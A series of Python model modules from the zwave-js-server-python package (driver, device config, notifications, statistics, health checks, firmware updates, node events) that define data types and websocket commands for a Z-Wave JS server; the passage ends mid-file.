"""Provide a model for the Z-Wave JS Driver.""" from __future__ import annotations from typing import TYPE_CHECKING, Any, Literal, cast from ..event import BaseEventModel, Event, EventBase from .controller import Controller from .log_config import LogConfig, LogConfigDataType from .log_message import LogMessage, LogMessageDataType try: from pydantic.v1 import create_model_from_typeddict except ImportError: from pydantic import create_model_from_typeddict if TYPE_CHECKING: from ..client import Client class BaseDriverEventModel(BaseEventModel): """Base model for a driver event.""" source: Literal["driver"] class LogConfigUpdatedEventModel(BaseDriverEventModel): """Model for `log config updated` event data.""" event: Literal["log config updated"] config: LogConfigDataType class AllNodesReadyEventModel(BaseDriverEventModel): """Model for `all nodes ready` event data.""" event: Literal["all nodes ready"] LoggingEventModel = create_model_from_typeddict( LogMessageDataType, __base__=BaseDriverEventModel ) DRIVER_EVENT_MODEL_MAP: dict[str, type["BaseDriverEventModel"]] = { "all nodes ready": AllNodesReadyEventModel, "log config updated": LogConfigUpdatedEventModel, "logging": LoggingEventModel, } class CheckConfigUpdates: """Represent config updates check.""" def __init__(self, data: dict) -> None: """Initialize class.""" self.installed_version: str = data["installedVersion"] self.update_available: bool = data["updateAvailable"] self.new_version: str | None = data.get("newVersion") class Driver(EventBase): """Represent a Z-Wave JS driver.""" def __init__( self, client: "Client", state: dict, log_config: LogConfigDataType ) -> None: """Initialize driver.""" super().__init__() self.client = client self.controller = Controller(client, state) self.log_config = LogConfig.from_dict(log_config) def __hash__(self) -> int: """Return the hash.""" return hash(self.controller) def __eq__(self, other: object) -> bool: """Return whether this instance equals another.""" if not isinstance(other, Driver): return False return self.controller == other.controller def receive_event(self, event: Event) -> None: """Receive an event.""" if event.data["source"] != "driver": self.controller.receive_event(event) return DRIVER_EVENT_MODEL_MAP[event.type](**event.data) self._handle_event_protocol(event) self.emit(event.type, event.data) async def _async_send_command( self, command: str, require_schema: int | None = None, **kwargs: Any ) -> dict: """Send a driver command. For internal use only.""" return await self.client.async_send_command( { "command": f"driver.{command}", **kwargs, }, require_schema, ) async def async_update_log_config(self, log_config: LogConfig) -> None: """Update log config for driver.""" await self._async_send_command( "update_log_config", config=log_config.to_dict(), require_schema=4 ) async def async_get_log_config(self) -> LogConfig: """Return current log config for driver.""" result = await self._async_send_command("get_log_config", require_schema=4) return LogConfig.from_dict(result["config"]) async def async_enable_statistics( self, application_name: str, application_version: str ) -> None: """Send command to enable data collection.""" await self._async_send_command( "enable_statistics", applicationName=application_name, applicationVersion=application_version, require_schema=4, ) async def async_disable_statistics(self) -> None: """Send command to stop listening to log events.""" await self._async_send_command("disable_statistics", require_schema=4) async def async_is_statistics_enabled(self) -> bool: """Send command to start listening to log events.""" result = await self._async_send_command( "is_statistics_enabled", require_schema=4 ) return cast(bool, result["statisticsEnabled"]) async def async_check_for_config_updates(self) -> CheckConfigUpdates: """Send command to check for config updates.""" result = await self._async_send_command( "check_for_config_updates", require_schema=5 ) return CheckConfigUpdates(result) async def async_install_config_update(self) -> bool: """Send command to install config update.""" result = await self._async_send_command( "install_config_update", require_schema=5 ) return cast(bool, result["success"]) async def async_set_preferred_scales( self, scales: dict[str | int, str | int] ) -> None: """Send command to set preferred sensor scales.""" await self._async_send_command( "set_preferred_scales", scales=scales, require_schema=6 ) async def async_enable_error_reporting(self) -> None: """Send command to enable Sentry error reporting.""" await self._async_send_command("enable_error_reporting", require_schema=16) async def async_hard_reset(self) -> None: """Send command to hard reset controller.""" await self._async_send_command("hard_reset", require_schema=25) async def async_try_soft_reset(self) -> None: """Send command to try to soft reset controller.""" await self._async_send_command("try_soft_reset", require_schema=25) async def async_soft_reset(self) -> None: """Send command to soft reset controller.""" await self._async_send_command("soft_reset", require_schema=25) async def async_shutdown(self) -> bool: """Send command to shutdown controller.""" data = await self._async_send_command("shutdown", require_schema=27) return cast(bool, data["success"]) def handle_logging(self, event: Event) -> None: """Process a driver logging event.""" event.data["log_message"] = LogMessage(cast(LogMessageDataType, event.data)) def handle_log_config_updated(self, event: Event) -> None: """Process a driver log config updated event.""" event.data["log_config"] = self.log_config = LogConfig.from_dict( event.data["config"] ) def handle_all_nodes_ready(self, event: Event) -> None: """Process a driver all nodes ready event."""
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/driver.py
driver.py
"""Provide a model for Z-Wave JS Duration.""" from __future__ import annotations from dataclasses import dataclass, field from typing import Literal, TypedDict class DurationDataType(TypedDict, total=False): """Represent a Duration data dict type.""" # https://github.com/zwave-js/node-zwave-js/blob/v11-dev/packages/core/src/values/Duration.ts#L11 unit: Literal["seconds", "minutes", "unknown", "default"] # required value: int | float @dataclass class Duration: """Duration class.""" data: DurationDataType unit: Literal["seconds", "minutes", "unknown", "default"] = field(init=False) value: int | float | None = field(init=False) def __post_init__(self) -> None: """Post init.""" self.unit = self.data["unit"] self.value = self.data.get("value") def __repr__(self) -> str: """Return the representation.""" if self.value: return f"{self.value} {self.unit}" return f"{self.unit} duration"
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/duration.py
duration.py
"""Model for utils commands.""" from __future__ import annotations from ..client import Client from ..const import MINIMUM_QR_STRING_LENGTH from .controller import QRProvisioningInformation async def async_parse_qr_code_string( client: Client, qr_code_string: str ) -> QRProvisioningInformation: """Parse a QR code string into a QRProvisioningInformation object.""" if len(qr_code_string) < MINIMUM_QR_STRING_LENGTH or not qr_code_string.startswith( "90" ): raise ValueError( f"QR code string must be at least {MINIMUM_QR_STRING_LENGTH} characters " "long and start with `90`" ) data = await client.async_send_command( {"command": "utils.parse_qr_code_string", "qr": qr_code_string} ) return QRProvisioningInformation.from_dict(data["qrProvisioningInformation"]) async def async_try_parse_dsk_from_qr_code_string( client: Client, qr_code_string: str ) -> str | None: """Try to get DSK QR code.""" data = await client.async_send_command( {"command": "utils.try_parse_dsk_from_qr_code_string", "qr": qr_code_string} ) return data.get("dsk")
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/utils.py
utils.py
""" Model for a Zwave Node's device config. https://zwave-js.github.io/node-zwave-js/#/api/node?id=deviceconfig """ from __future__ import annotations from typing import Any, Literal, TypedDict class DeviceDeviceDataType(TypedDict, total=False): """Represent a device device data dict type.""" productType: str productId: str class DeviceDevice: """Model for a Zwave Node's device config's device.""" def __init__(self, data: DeviceDeviceDataType) -> None: """Initialize.""" self.data = data @property def product_type(self) -> str | None: """Return product type.""" return self.data.get("productType") @property def product_id(self) -> str | None: """Return product id.""" return self.data.get("productId") class DeviceFirmwareVersionRangeDataType(TypedDict, total=False): """Represent a device firmware version range data dict type.""" min: str max: str class DeviceFirmwareVersionRange: """Model for a Zwave Node's device config's firmware version range.""" def __init__(self, data: DeviceFirmwareVersionRangeDataType) -> None: """Initialize.""" self.data = data @property def min(self) -> str | None: """Return min version.""" return self.data.get("min") @property def max(self) -> str | None: """Return max version.""" return self.data.get("max") class CommentDataType(TypedDict): """Represent a device config's comment data dict type.""" # See PR for suggested meanings of each level: # https://github.com/zwave-js/node-zwave-js/pull/3947 level: Literal["info", "warning", "error"] text: str class DeviceMetadataDataType(TypedDict, total=False): """Represent a device metadata data dict type.""" wakeup: str inclusion: str exclusion: str reset: str manual: str comments: CommentDataType | list[CommentDataType] class DeviceMetadata: """Model for a Zwave Node's device config's metadata.""" def __init__(self, data: DeviceMetadataDataType) -> None: """Initialize.""" self.data = data @property def wakeup(self) -> str | None: """Return wakeup instructions.""" return self.data.get("wakeup") @property def inclusion(self) -> str | None: """Return inclusion instructions.""" return self.data.get("inclusion") @property def exclusion(self) -> str | None: """Return exclusion instructions.""" return self.data.get("exclusion") @property def reset(self) -> str | None: """Return reset instructions.""" return self.data.get("reset") @property def manual(self) -> str | None: """Return manual instructions.""" return self.data.get("manual") @property def comments(self) -> list[CommentDataType]: """Return list of comments about device.""" comments = self.data.get("comments", []) if isinstance(comments, dict): return [comments] return comments class DeviceConfigDataType(TypedDict, total=False): """Represent a device config data dict type.""" filename: str manufacturer: str manufacturerId: str label: str description: str devices: list[DeviceDeviceDataType] firmwareVersion: DeviceFirmwareVersionRangeDataType associations: dict[str, dict] paramInformation: dict[str, dict] supportsZWavePlus: bool proprietary: dict compat: dict[str, Any] metadata: DeviceMetadataDataType isEmbedded: bool class DeviceConfig: """Model for a Zwave Node's device config.""" def __init__(self, data: DeviceConfigDataType) -> None: """Initialize.""" self.data = data self._devices = [ DeviceDevice(device) for device in self.data.get("devices", []) ] self._firmware_version = DeviceFirmwareVersionRange( self.data.get("firmwareVersion", {}) ) self._metadata = DeviceMetadata(self.data.get("metadata", {})) @property def filename(self) -> str | None: """Return config filename.""" return self.data.get("filename") @property def manufacturer(self) -> str | None: """Return name of the manufacturer.""" return self.data.get("manufacturer") @property def manufacturer_id(self) -> str | None: # TODO: In the dump this is an int. """Return manufacturer id (as defined in the specs) as a 4-digit hexadecimal string.""" return self.data.get("manufacturerId") @property def label(self) -> str | None: """Return short label for the device.""" return self.data.get("label") @property def description(self) -> str | None: """Return longer description of the device, usually the full name.""" return self.data.get("description") @property def devices(self) -> list[DeviceDevice]: """Return list of product type and product ID combinations.""" return self._devices @property def firmware_version(self) -> DeviceFirmwareVersionRange: """Return firmware version range this config is valid for.""" return self._firmware_version @property def associations(self) -> dict[str, dict]: """Return dict of association groups the device supports.""" return self.data.get("associations", {}) @property def param_information(self) -> dict[str, dict]: """Return dictionary of configuration parameters the device supports.""" return self.data.get("paramInformation", {}) @property def supports_zwave_plus(self) -> bool | None: """Return if the device complies with the Z-Wave+ standard.""" return self.data.get("supportsZWavePlus") @property def proprietary(self) -> dict: """Return dictionary of settings for the proprietary CC.""" return self.data.get("proprietary", {}) @property def compat(self) -> dict[str, dict]: """Return compatibility flags.""" return self.data.get("compat", {}) @property def metadata(self) -> DeviceMetadata: """Return metadata.""" return self._metadata @property def is_embedded(self) -> bool | None: """Return whether device config is embedded in zwave-js-server.""" return self.data.get("isEmbedded")
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/device_config.py
device_config.py
""" Model for a Zwave Node's Notification Event. https://zwave-js.github.io/node-zwave-js/#/api/node?id=quotnotificationquot """ from __future__ import annotations from typing import TYPE_CHECKING, Any, Literal, TypedDict from ..const.command_class.multilevel_switch import MultilevelSwitchCommand from ..const.command_class.power_level import PowerLevelTestStatus from ..util.helpers import parse_buffer if TYPE_CHECKING: from .node import Node class BaseNotificationDataType(TypedDict): """Represent a base notification event data dict type.""" source: Literal["node"] # required event: Literal["notification"] # required nodeId: int # required ccId: int # required class EntryControlNotificationArgsDataType(TypedDict, total=False): """Represent args for a Entry Control CC notification event data dict type.""" eventType: int # required eventTypeLabel: str # required dataType: int # required dataTypeLabel: str # required eventData: str | dict[str, Any] class EntryControlNotificationDataType(BaseNotificationDataType): """Represent an Entry Control CC notification event data dict type.""" args: EntryControlNotificationArgsDataType # required class EntryControlNotification: """Model for a Zwave Node's Entry Control CC notification event.""" def __init__(self, node: "Node", data: EntryControlNotificationDataType) -> None: """Initialize.""" self.node = node self.data = data @property def node_id(self) -> int: """Return node ID property.""" return self.data["nodeId"] @property def command_class(self) -> int: """Return command class.""" return self.data["ccId"] @property def event_type(self) -> int: """Return event type property.""" return self.data["args"]["eventType"] @property def event_type_label(self) -> str: """Return event type label property.""" return self.data["args"]["eventTypeLabel"] @property def data_type(self) -> int: """Return data type property.""" return self.data["args"]["dataType"] @property def data_type_label(self) -> str: """Return data type label property.""" return self.data["args"]["dataTypeLabel"] @property def event_data(self) -> str | None: """Return event data property.""" if event_data := self.data["args"].get("eventData"): return parse_buffer(event_data) return None class NotificationNotificationArgsDataType(TypedDict, total=False): """Represent args for a Notification CC notification event data dict type.""" type: int # required label: str # required event: int # required eventLabel: str # required parameters: dict[str, Any] class NotificationNotificationDataType(BaseNotificationDataType): """Represent a Notification CC notification event data dict type.""" args: NotificationNotificationArgsDataType # required class NotificationNotification: """Model for a Zwave Node's Notification CC notification event.""" def __init__(self, node: "Node", data: NotificationNotificationDataType) -> None: """Initialize.""" self.node = node self.data = data @property def node_id(self) -> int: """Return node ID property.""" return self.data["nodeId"] @property def command_class(self) -> int: """Return command class.""" return self.data["ccId"] @property def type_(self) -> int: """Return type property.""" return self.data["args"]["type"] @property def label(self) -> str: """Return label property.""" return self.data["args"]["label"] @property def event(self) -> int: """Return event property.""" return self.data["args"]["event"] @property def event_label(self) -> str: """Return notification label property.""" return self.data["args"]["eventLabel"] @property def parameters(self) -> dict[str, Any]: """Return installer icon property.""" return self.data["args"].get("parameters", {}) class PowerLevelNotificationArgsDataType(TypedDict): """Represent args for a Power Level CC notification event data dict type.""" testNodeId: int status: int acknowledgedFrames: int class PowerLevelNotificationDataType(BaseNotificationDataType): """Represent a Power Level CC notification event data dict type.""" args: PowerLevelNotificationArgsDataType # required class PowerLevelNotification: """Model for a Zwave Node's Power Level CC notification event.""" def __init__(self, node: "Node", data: PowerLevelNotificationDataType) -> None: """Initialize.""" self.node = node self.data = data @property def node_id(self) -> int: """Return node ID property.""" return self.data["nodeId"] @property def command_class(self) -> int: """Return command class.""" return self.data["ccId"] @property def test_node_id(self) -> int: """Return test node ID property.""" return self.data["args"]["testNodeId"] @property def status(self) -> PowerLevelTestStatus: """Return status.""" return PowerLevelTestStatus(self.data["args"]["status"]) @property def acknowledged_frames(self) -> int: """Return acknowledged frames property.""" return self.data["args"]["acknowledgedFrames"] class MultilevelSwitchNotificationArgsDataType(TypedDict, total=False): """Represent args for a Multi Level Switch CC notification event data dict type.""" eventType: int # required eventTypeLabel: str # required direction: str class MultilevelSwitchNotificationDataType(BaseNotificationDataType): """Represent a Multi Level Switch CC notification event data dict type.""" args: MultilevelSwitchNotificationArgsDataType # required class MultilevelSwitchNotification: """Model for a Zwave Node's Multi Level CC notification event.""" def __init__( self, node: "Node", data: MultilevelSwitchNotificationDataType ) -> None: """Initialize.""" self.node = node self.data = data @property def node_id(self) -> int: """Return node ID property.""" return self.data["nodeId"] @property def command_class(self) -> int: """Return command class.""" return self.data["ccId"] @property def event_type(self) -> MultilevelSwitchCommand: """Return event type property.""" return MultilevelSwitchCommand(self.data["args"]["eventType"]) @property def event_type_label(self) -> str: """Return event type label property.""" return self.data["args"]["eventTypeLabel"] @property def direction(self) -> str | None: """Return direction property.""" if direction := self.data["args"].get("direction"): return direction return None
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/notification.py
notification.py
"""Common models for statistics.""" from __future__ import annotations from dataclasses import dataclass, field from functools import cached_property from typing import TYPE_CHECKING, TypedDict from zwave_js_server.exceptions import RepeaterRssiErrorReceived, RssiErrorReceived from ..const import ProtocolDataRate, RssiError if TYPE_CHECKING: from ..client import Client from .node import Node class RouteStatisticsDataType(TypedDict, total=False): """Represent a route statistics data dict type.""" protocolDataRate: int repeaters: list[int] rssi: int repeaterRSSI: list[int] routeFailedBetween: list[int] class RouteStatisticsDict(TypedDict): """Represent a route statistics data dict type.""" protocol_data_rate: int repeaters: list["Node"] rssi: int | None repeater_rssi: list[int] route_failed_between: tuple["Node", "Node"] | None @dataclass class RouteStatistics: """Represent route statistics.""" client: "Client" data: RouteStatisticsDataType protocol_data_rate: ProtocolDataRate = field(init=False) def __post_init__(self) -> None: """Post initialize.""" self.protocol_data_rate = ProtocolDataRate(self.data["protocolDataRate"]) @cached_property def repeaters(self) -> list["Node"]: """Return repeaters.""" assert self.client.driver return [ self.client.driver.controller.nodes[node_id] for node_id in self.data["repeaters"] ] @property def rssi(self) -> int | None: """Return RSSI.""" if (rssi := self.data.get("rssi")) is None: return None if rssi in [item.value for item in RssiError]: raise RssiErrorReceived(RssiError(rssi)) return rssi @property def repeater_rssi(self) -> list[int]: """Return repeater RSSI.""" repeater_rssi = self.data.get("repeaterRSSI", []) rssi_errors = [item.value for item in RssiError] if any(rssi_ in rssi_errors for rssi_ in repeater_rssi): raise RepeaterRssiErrorReceived(repeater_rssi) return repeater_rssi @cached_property def route_failed_between(self) -> tuple["Node", "Node"] | None: """Return route failed between.""" if (node_ids := self.data.get("routeFailedBetween")) is None: return None assert self.client.driver assert len(node_ids) == 2 return ( self.client.driver.controller.nodes[node_ids[0]], self.client.driver.controller.nodes[node_ids[1]], ) def as_dict(self) -> RouteStatisticsDict: """Return route statistics as dict.""" return { "protocol_data_rate": self.protocol_data_rate.value, "repeaters": self.repeaters, "rssi": self.data.get("rssi"), "repeater_rssi": self.data.get("repeaterRSSI", []), "route_failed_between": ( self.route_failed_between[0], self.route_failed_between[1], ) if self.route_failed_between else None, }
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/statistics.py
statistics.py
"""Represents the version from the server.""" from __future__ import annotations from dataclasses import dataclass from typing import TypedDict class VersionInfoDataType(TypedDict): """Version info data dict type.""" driverVersion: str serverVersion: str homeId: int minSchemaVersion: int maxSchemaVersion: int @dataclass class VersionInfo: """Version info of the server.""" driver_version: str server_version: str home_id: int min_schema_version: int max_schema_version: int @classmethod def from_message(cls, msg: VersionInfoDataType) -> "VersionInfo": """Create a version info from a version message.""" return cls( driver_version=msg["driverVersion"], server_version=msg["serverVersion"], home_id=msg["homeId"], # schema versions are sent in the response from schema version 1+ # this info not present means the server is at schema version 0 # at some point in time (when we stop supporting schema version 0), # we could adjust this code and assume the keys are there. min_schema_version=msg.get("minSchemaVersion", 0), max_schema_version=msg.get("maxSchemaVersion", 0), )
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/version.py
version.py
"""Provide a model based on Z-Wave JS. The model pieces here should map 1:1 with the model of Z-Wave JS upstream API. """
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/__init__.py
__init__.py
"""Provide a model for the Z-Wave JS node's health checks and power tests.""" from __future__ import annotations from dataclasses import dataclass, field from typing import TypedDict from ...const import PowerLevel class LifelineHealthCheckResultDataType(TypedDict, total=False): """Represent a lifeline health check result data dict type.""" # https://github.com/zwave-js/node-zwave-js/blob/master/packages/zwave-js/src/lib/node/Types.ts#L171 latency: int # required numNeighbors: int # required failedPingsNode: int # required rating: int # required routeChanges: int minPowerlevel: int failedPingsController: int snrMargin: int class LifelineHealthCheckSummaryDataType(TypedDict): """Represent a lifeline health check summary data dict type.""" # https://github.com/zwave-js/node-zwave-js/blob/master/packages/zwave-js/src/lib/node/_Types.ts#L254 results: list[LifelineHealthCheckResultDataType] rating: int @dataclass class LifelineHealthCheckResult: """Represent a lifeline health check result.""" data: LifelineHealthCheckResultDataType latency: int = field(init=False) num_neighbors: int = field(init=False) failed_pings_node: int = field(init=False) rating: int = field(init=False) route_changes: int | None = field(init=False) min_power_level: PowerLevel | None = field(init=False, default=None) failed_pings_controller: int | None = field(init=False) snr_margin: int | None = field(init=False) def __post_init__(self) -> None: """Post initialize.""" self.latency = self.data["latency"] self.num_neighbors = self.data["numNeighbors"] self.failed_pings_node = self.data["failedPingsNode"] self.rating = self.data["rating"] self.route_changes = self.data.get("routeChanges") if (min_power_level := self.data.get("minPowerlevel")) is not None: self.min_power_level = PowerLevel(min_power_level) self.failed_pings_controller = self.data.get("failedPingsController") self.snr_margin = self.data.get("snrMargin") @dataclass class LifelineHealthCheckSummary: """Represent a lifeline health check summary update.""" data: LifelineHealthCheckSummaryDataType rating: int = field(init=False) results: list[LifelineHealthCheckResult] = field(init=False) def __post_init__(self) -> None: """Post initialize.""" self.rating = self.data["rating"] self.results = [ LifelineHealthCheckResult(r) for r in self.data.get("results", []) ] class RouteHealthCheckResultDataType(TypedDict, total=False): """Represent a route health check result data dict type.""" # https://github.com/zwave-js/node-zwave-js/blob/master/packages/zwave-js/src/lib/node/_Types.ts#L285 numNeighbors: int # required rating: int # required failedPingsToTarget: int failedPingsToSource: int minPowerlevelSource: int minPowerlevelTarget: int class RouteHealthCheckSummaryDataType(TypedDict): """Represent a route health check summary data dict type.""" # https://github.com/zwave-js/node-zwave-js/blob/master/packages/zwave-js/src/lib/node/_Types.ts#L317 results: list[RouteHealthCheckResultDataType] rating: int @dataclass class RouteHealthCheckResult: """Represent a route health check result.""" data: RouteHealthCheckResultDataType num_neighbors: int = field(init=False) rating: int = field(init=False) failed_pings_to_target: int | None = field(init=False) failed_pings_to_source: int | None = field(init=False) min_power_level_source: PowerLevel | None = field(init=False, default=None) min_power_level_target: PowerLevel | None = field(init=False, default=None) def __post_init__(self) -> None: """Post initialize.""" self.num_neighbors = self.data["numNeighbors"] self.rating = self.data["rating"] self.failed_pings_to_target = self.data.get("failedPingsToTarget") self.failed_pings_to_source = self.data.get("failedPingsToSource") if (min_power_level_source := self.data.get("minPowerlevelSource")) is not None: self.min_power_level_source = PowerLevel(min_power_level_source) if (min_power_level_target := self.data.get("minPowerlevelTarget")) is not None: self.min_power_level_target = PowerLevel(min_power_level_target) @dataclass class RouteHealthCheckSummary: """Represent a route health check summary update.""" data: RouteHealthCheckSummaryDataType rating: int = field(init=False) results: list[RouteHealthCheckResult] = field(init=False) def __post_init__(self) -> None: """Post initialize.""" self.rating = self.data["rating"] self.results = [RouteHealthCheckResult(r) for r in self.data.get("results", [])] @dataclass class TestPowerLevelProgress: """Class to represent a test power level progress update.""" acknowledged: int total: int @dataclass class CheckHealthProgress: """Represent a check lifeline/route health progress update.""" rounds: int total_rounds: int last_rating: int last_result: LifelineHealthCheckResult | RouteHealthCheckResult
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/node/health_check.py
health_check.py
"""Provide a model for Z-Wave firmware.""" from __future__ import annotations from dataclasses import asdict, dataclass, field from enum import IntEnum from typing import TYPE_CHECKING, TypedDict, cast from ...const import VALUE_UNKNOWN from ...util.helpers import convert_bytes_to_base64 if TYPE_CHECKING: from . import Node class NodeFirmwareUpdateDataDataType(TypedDict, total=False): """Represent a firmware update data dict type.""" filename: str # required file: str # required fileFormat: str firmwareTarget: int @dataclass class NodeFirmwareUpdateData: """Firmware update data.""" filename: str file: bytes file_format: str | None = None firmware_target: int | None = None def to_dict(self) -> NodeFirmwareUpdateDataDataType: """Convert firmware update data to dict.""" data: NodeFirmwareUpdateDataDataType = { "filename": self.filename, "file": convert_bytes_to_base64(self.file), } if self.file_format is not None: data["fileFormat"] = self.file_format if self.firmware_target is not None: data["firmwareTarget"] = self.firmware_target return data class NodeFirmwareUpdateCapabilitiesDataType(TypedDict, total=False): """Represent a firmware update capabilities dict type.""" firmwareUpgradable: bool # required firmwareTargets: list[int] continuesToFunction: bool | str supportsActivation: bool | str class NodeFirmwareUpdateCapabilitiesDict(TypedDict, total=False): """Represent a dict from FirmwareUpdateCapabilities.""" firmware_upgradable: bool # required firmware_targets: list[int] continues_to_function: bool | None supports_activation: bool | None @dataclass class NodeFirmwareUpdateCapabilities: """Model for firmware update capabilities.""" data: NodeFirmwareUpdateCapabilitiesDataType firmware_upgradable: bool = field(init=False) def __post_init__(self) -> None: """Post initialize.""" self.firmware_upgradable = self.data["firmwareUpgradable"] @property def firmware_targets(self) -> list[int]: """Return firmware targets.""" if not self.firmware_upgradable: raise TypeError("Firmware is not upgradeable.") return self.data["firmwareTargets"] @property def continues_to_function(self) -> bool | None: """Return whether node continues to function during update.""" if not self.firmware_upgradable: raise TypeError("Firmware is not upgradeable.") if (val := self.data["continuesToFunction"]) == VALUE_UNKNOWN: return None assert isinstance(val, bool) return val @property def supports_activation(self) -> bool | None: """Return whether node supports delayed activation of the new firmware.""" if not self.firmware_upgradable: raise TypeError("Firmware is not upgradeable.") if (val := self.data["supportsActivation"]) == VALUE_UNKNOWN: return None assert isinstance(val, bool) return val def to_dict(self) -> NodeFirmwareUpdateCapabilitiesDict: """Return dict representation of the object.""" if not self.firmware_upgradable: return {"firmware_upgradable": self.firmware_upgradable} return { "firmware_upgradable": self.firmware_upgradable, "firmware_targets": self.firmware_targets, "continues_to_function": self.continues_to_function, "supports_activation": self.supports_activation, } class NodeFirmwareUpdateStatus(IntEnum): """Enum with all node firmware update status values. https://zwave-js.github.io/node-zwave-js/#/api/node?id=quotfirmware-update-finishedquot """ ERROR_TIMEOUT = -1 ERROR_CHECKSUM = 0 ERROR_TRANSMISSION_FAILED = 1 ERROR_INVALID_MANUFACTURER_ID = 2 ERROR_INVALID_FIRMWARE_ID = 3 ERROR_INVALID_FIRMWARE_TARGET = 4 ERROR_INVALID_HEADER_INFORMATION = 5 ERROR_INVALID_HEADER_FORMAT = 6 ERROR_INSUFFICIENT_MEMORY = 7 ERROR_INVALID_HARDWARE_VERSION = 8 OK_WAITING_FOR_ACTIVATION = 253 OK_NO_RESTART = 254 OK_RESTART_PENDING = 255 class NodeFirmwareUpdateProgressDataType(TypedDict): """Represent a node firmware update progress dict type.""" currentFile: int totalFiles: int sentFragments: int totalFragments: int progress: float @dataclass class NodeFirmwareUpdateProgress: """Model for a node firmware update progress data.""" node: "Node" data: NodeFirmwareUpdateProgressDataType current_file: int = field(init=False) total_files: int = field(init=False) sent_fragments: int = field(init=False) total_fragments: int = field(init=False) progress: float = field(init=False) def __post_init__(self) -> None: """Post initialize.""" self.current_file = self.data["currentFile"] self.total_files = self.data["totalFiles"] self.sent_fragments = self.data["sentFragments"] self.total_fragments = self.data["totalFragments"] self.progress = float(self.data["progress"]) class NodeFirmwareUpdateResultDataType(TypedDict, total=False): """Represent a node firmware update result dict type.""" status: int # required success: bool # required waitTime: int reInterview: bool # required @dataclass class NodeFirmwareUpdateResult: """Model for node firmware update result data.""" node: "Node" data: NodeFirmwareUpdateResultDataType status: NodeFirmwareUpdateStatus = field(init=False) success: bool = field(init=False) wait_time: int | None = field(init=False) reinterview: bool = field(init=False) def __post_init__(self) -> None: """Post initialize.""" self.status = NodeFirmwareUpdateStatus(self.data["status"]) self.success = self.data["success"] self.wait_time = self.data.get("waitTime") self.reinterview = self.data["reInterview"] class NodeFirmwareUpdateFileInfoDataType(TypedDict): """Represent a firmware update file info data dict type.""" target: int url: str integrity: str # sha256 @dataclass class NodeFirmwareUpdateFileInfo: """Represent a firmware update file info.""" target: int url: str integrity: str @classmethod def from_dict( cls, data: NodeFirmwareUpdateFileInfoDataType ) -> "NodeFirmwareUpdateFileInfo": """Initialize from dict.""" return cls(**data) def to_dict(self) -> NodeFirmwareUpdateFileInfoDataType: """Return dict representation of the object.""" return cast(NodeFirmwareUpdateFileInfoDataType, asdict(self)) class NodeFirmwareUpdateInfoDataType(TypedDict): """Represent a firmware update info data dict type.""" version: str changelog: str files: list[NodeFirmwareUpdateFileInfoDataType] @dataclass class NodeFirmwareUpdateInfo: """Represent a firmware update info.""" version: str changelog: str files: list[NodeFirmwareUpdateFileInfo] @classmethod def from_dict( cls, data: NodeFirmwareUpdateInfoDataType ) -> "NodeFirmwareUpdateInfo": """Initialize from dict.""" return cls( version=data["version"], changelog=data["changelog"], files=[ NodeFirmwareUpdateFileInfo.from_dict(file) for file in data["files"] ], ) def to_dict(self) -> NodeFirmwareUpdateInfoDataType: """Return dict representation of the object.""" return cast( NodeFirmwareUpdateInfoDataType, { "version": self.version, "changelog": self.changelog, "files": [file.to_dict() for file in self.files], }, )
zwave-js-server-python
/zwave_js_server_python-0.51.0-py3-none-any.whl/zwave_js_server/model/node/firmware.py
firmware.py
"""Provide a model for the Z-Wave JS node's events.""" from __future__ import annotations from typing import Literal from ...const import CommandClass from ...event import BaseEventModel from ..notification import ( EntryControlNotificationArgsDataType, NotificationNotificationArgsDataType, PowerLevelNotificationArgsDataType, ) from ..value import ValueDataType from .data_model import NodeDataType from .firmware import ( NodeFirmwareUpdateProgressDataType, NodeFirmwareUpdateResultDataType, ) from .statistics import NodeStatisticsDataType try: from pydantic.v1 import BaseModel except ImportError: from pydantic import BaseModel class BaseNodeEventModel(BaseEventModel): """Base model for a node event.""" source: Literal["node"] nodeId: int class AliveEventModel(BaseNodeEventModel): """Model for `alive` event data.""" event: Literal["alive"] class CheckHealthProgressEventModel(BaseNodeEventModel): """ Model for `check health progress` type events data. Includes `check lifeline health progress` and `check route health progress` events. """ rounds: int totalRounds: int lastRating: int class CheckLifelineHealthProgressEventModel(CheckHealthProgressEventModel): """Model for `check lifeline health progress` event data.""" event: Literal["check lifeline health progress"] class CheckRouteHealthProgressEventModel(CheckHealthProgressEventModel): """Model for `check route health progress` event data.""" event: Literal["check route health progress"] class DeadEventModel(BaseNodeEventModel): """Model for `dead` event data.""" event: Literal["dead"] class InterviewCompletedEventModel(BaseNodeEventModel): """Model for `interview completed` event data.""" event: Literal["interview completed"] class InterviewFailedEventArgsModel(BaseModel): """Model for `interview failed` event args.""" errorMessage: str isFinal: bool attempt: int | None maxAttempts: int | None class InterviewFailedEventModel(BaseNodeEventModel): """Model for `interview failed` event data.""" event: Literal["interview failed"] args: InterviewFailedEventArgsModel class InterviewStageCompletedEventModel(BaseNodeEventModel): """Model for `interview stage completed` event data.""" event: Literal["interview stage completed"] stageName: str class InterviewStartedEventModel(BaseNodeEventModel): """Model for `interview started` event data.""" event: Literal["interview started"] class NotificationEventModel(BaseNodeEventModel): """Model for `notification` event data.""" event: Literal["notification"] ccId: CommandClass args: ( NotificationNotificationArgsDataType | EntryControlNotificationArgsDataType | PowerLevelNotificationArgsDataType ) class ReadyEventModel(BaseNodeEventModel): """Model for `ready` event data.""" event: Literal["ready"] nodeState: NodeDataType class SleepEventModel(BaseNodeEventModel): """Model for `sleep` event data.""" event: Literal["sleep"] class StatisticsUpdatedEventModel(BaseNodeEventModel): """Model for `statistics updated` event data.""" event: Literal["statistics updated"] statistics: NodeStatisticsDataType class TestPowerLevelProgressEventModel(BaseNodeEventModel): """Model for `test powerlevel progress` event data.""" event: Literal["test powerlevel progress"] acknowledged: int total: int class ValueEventModel(BaseNodeEventModel): """ Model for `value` events 